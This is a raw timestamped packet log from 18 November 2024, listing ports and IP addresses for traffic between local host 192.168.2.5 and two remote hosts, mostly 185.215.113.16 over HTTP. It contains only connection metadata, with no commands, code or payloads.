Nov 18, 2024 20:21:33.527802944 CET	49768	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.527822018 CET	443	49768	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.531018019 CET	49773	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.531066895 CET	443	49773	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.531213999 CET	49773	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.531449080 CET	49773	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.531465054 CET	443	49773	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.547200918 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.547224998 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.547238111 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.547292948 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.547609091 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.547621012 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.547631979 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.547657013 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.547672033 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.575731039 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.575758934 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.575771093 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.575783014 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.575797081 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.575809002 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.575820923 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.575820923 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.575833082 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.575845003 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.575859070 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.575860977 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.575880051 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.575925112 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.576217890 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.576230049 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.576241016 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.576261044 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.576266050 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.576273918 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.576287031 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.576307058 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.576330900 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.576936960 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.576950073 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.576960087 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.576986074 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.577008963 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.577019930 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.577049971 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.577089071 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.577111006 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.577148914 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.577228069 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.577239037 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.577250957 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.577263117 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.577270985 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.577292919 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.577610016 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.577621937 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.577631950 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.577646971 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.577663898 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.577725887 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.577738047 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.577750921 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.577764988 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.577989101 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.578000069 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.578011036 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.578032970 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.578058958 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.578145027 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.578157902 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.578176022 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.578193903 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.616069078 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.616081953 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.616132021 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.616187096 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.616372108 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.616384029 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.616395950 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.616414070 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.616427898 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.623075008 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.623231888 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.623241901 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.623253107 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.623275995 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.623308897 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.667581081 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.667597055 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.667608976 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.667695999 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.667840004 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.667901039 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.667911053 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.667936087 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.667951107 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.667993069 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.695437908 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.695463896 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.695478916 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.695516109 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.695550919 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.695566893 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.695579052 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.695591927 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.695616961 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.695707083 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.695718050 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.695760965 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.695780993 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.695794106 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.695831060 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.695899010 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.695930004 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.695947886 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.696033001 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.696043015 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.696073055 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.696111917 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.696124077 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.696162939 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.696202040 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.696216106 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.696255922 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.696353912 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.696366072 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.696377993 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.696403980 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.696430922 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.697652102 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.697671890 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.697684050 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.697694063 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.697705984 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.697716951 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.697724104 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.697729111 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.697741032 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.697751999 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.697753906 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.697762966 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.697773933 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.697776079 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.697787046 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.697793007 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.697833061 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.697949886 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.697961092 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.697972059 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.697985888 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.697998047 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.697999001 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.698024988 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.698417902 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.698430061 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.698442936 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.698452950 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.698465109 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.698470116 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.698482037 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.698493958 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.698528051 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.775180101 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.775197029 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.775208950 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.775235891 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.775247097 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.775249958 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.775259018 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.775285006 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.775296926 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.775337934 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.775352955 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.775404930 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.787806988 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.787834883 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.787846088 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.787878990 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.788167953 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.788178921 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.788191080 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.788213968 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.788230896 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.815553904 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.815567017 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.815579891 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.815601110 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.815612078 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.815618038 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.815622091 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.815660954 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.815830946 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.815841913 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.815853119 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.815867901 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.815880060 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.815916061 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.815962076 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.815972090 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.816009998 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.816056967 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.816068888 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.816080093 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.816091061 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.816097975 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.816124916 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.816287041 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.816298008 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.816308975 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.816334009 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.816495895 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.816514969 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.816526890 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.816544056 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.816560984 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.817430019 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.817440033 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.817451000 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.817477942 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.817634106 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.817682028 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.817693949 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.817723989 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.817856073 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.817867041 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.817881107 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.817890882 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.817902088 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.817917109 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.817948103 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.817991972 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.818063974 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.818074942 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.818114996 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.818222046 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.818236113 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.818244934 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.818255901 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.818275928 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.818279982 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.818299055 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.818451881 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.818501949 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.818504095 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.818517923 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.818658113 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.818681955 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.818692923 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.818703890 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.818721056 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.818728924 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.818732023 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.818762064 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.822326899 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.895042896 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.895057917 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.895070076 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.895093918 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.895104885 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.895131111 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.895164013 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.895196915 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.895207882 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.895232916 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.895267010 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.895277023 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.895287991 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.895311117 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.895329952 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.895757914 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.908761024 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.908775091 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.908787012 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.908818960 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.908850908 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.909244061 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.909267902 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.909279108 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.909310102 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.935869932 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.935884953 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.935894966 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.935906887 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.935919046 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.935929060 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.935941935 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.936002016 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.936063051 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.936279058 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.936290026 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.936300993 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.936312914 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.936322927 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.936323881 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.936333895 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.936347008 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.936347008 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.936358929 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.936367989 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.936388016 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.936563015 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.936573982 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.936620951 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.936666965 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.936678886 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.936688900 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.936702013 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.936707973 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.936754942 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.937963963 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.937975883 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.937987089 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.938016891 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.938071012 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.938081980 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.938101053 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.938112974 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.938122988 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.938126087 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.938138008 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.938159943 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.938182116 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.938227892 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.938239098 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.938271999 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.938368082 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.938380003 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.938406944 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.938508034 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.938519001 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.938529968 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.938541889 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.938544989 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.938554049 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.938568115 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.938596964 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.938766956 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.938776970 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.938807964 CET	49748	80	192.168.2.5	185.215.113.16
